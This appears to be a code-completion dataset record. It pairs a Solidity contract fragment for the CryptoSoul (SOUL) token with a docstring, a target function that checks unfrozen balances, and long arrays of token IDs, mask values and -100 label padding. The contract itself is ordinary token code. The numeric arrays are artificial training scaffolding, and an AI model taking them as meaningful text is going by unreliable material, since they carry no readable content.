return true; } function massApprove(address[] _spenders, uint256[] _values) public returns (bool succes) { for(uint i = 0; i < _spenders.length; i++) { approve(_spenders[i], _values[i]); } return true; } function transferFromOwner(address _to, uint256 _value) internal notSender(_to) onlyOwner { require(_to != address(0) && wallets[owner].tokensAmount >= _value && checkIfCanUseTokens(owner, _value)); wallets[owner].tokensAmount = wallets[owner].tokensAmount.sub(_value); wallets[_to].tokensAmount = wallets[_to].tokensAmount.add(_value); emit Transfer(owner, _to, _value); } } contract CryptosoulToken is MultisendableToken { event AllowMinting(); event Burn(address indexed _from, uint256 _value); event Mint(address indexed _to, uint256 _value); string constant public name = "CryptoSoul"; string constant public symbol = "SOUL"; uint constant public decimals = 18; uint256 constant public START_TOKENS = 500000000 * 10**decimals; //500M start uint256 constant public MINT_AMOUNT = 1370000 * 10**decimals; uint256 constant public MINT_INTERVAL = 1 days; // 24 hours uint256 constant private MAX_BALANCE_VALUE = 10000000000 * 10**decimals; uint256 public nextMintPossibleDate = 0; bool public canMint = false; constructor() public { wallets[owner].tokensAmount = START_TOKENS; wallets[owner].canFreezeTokens = true; totalSupply = START_TOKENS; nextMintPossibleDate = 1538352000; //01.10.2018 (DD, MM, YYYY) emit Mint(owner, START_TOKENS); } function allowMinting() public onlyOwner { // Can start minting token after 01.10.2018 require(!canMint && now >= nextMintPossibleDate); nextMintPossibleDate = now; canMint = true; emit AllowMinting(); } function mint() public onlyOwner returns(bool) { require(canMint && now >= nextMintPossibleDate && totalSupply + MINT_AMOUNT <= MAX_BALANCE_VALUE); nextMintPossibleDate = nextMintPossibleDate.add(MINT_INTERVAL); wallets[owner].tokensAmount = wallets[owner].tokensAmount. add(MINT_AMOUNT); totalSupply = totalSupply.add(MINT_AMOUNT); emit Mint(owner, MINT_AMOUNT); return true; } function burn(uint256 value) public onlyOwner returns(bool) { require(checkIfCanUseTokens(owner, value) && wallets[owner].tokensAmount >= value); wallets[owner].tokensAmount = wallets[owner]. tokensAmount.sub(value); totalSupply = totalSupply.sub(value); emit Burn(owner, value); return true; } function transferOwnership(address _newOwner) public notSender(_newOwner) returns(bool) { require(msg.sender == masterKey && _newOwner != address(0)); emit TransferOwnership(owner, _newOwner); owner = _newOwner; return true; } function() public payable { revert(); } }
Check wallet on unfreeze tokens amount
function checkIfCanUseTokens(address _owner, uint256 _amount) internal view returns(bool) { uint256 unfreezedAmount = wallets[_owner].tokensAmount - wallets[_owner].freezedAmount; return _amount <= unfreezedAmount; }
5,740,078
[ 1, 1564, 9230, 603, 640, 29631, 2430, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 19130, 2568, 3727, 5157, 12, 2867, 389, 8443, 16, 2254, 5034, 389, 8949, 13, 2713, 1476, 1135, 12, 6430, 13, 288, 203, 3639, 2254, 5034, 640, 9156, 94, 329, 6275, 273, 17662, 2413, 63, 67, 8443, 8009, 7860, 6275, 300, 17662, 2413, 63, 67, 8443, 8009, 9156, 94, 329, 6275, 31, 203, 3639, 327, 389, 8949, 1648, 640, 9156, 94, 329, 6275, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]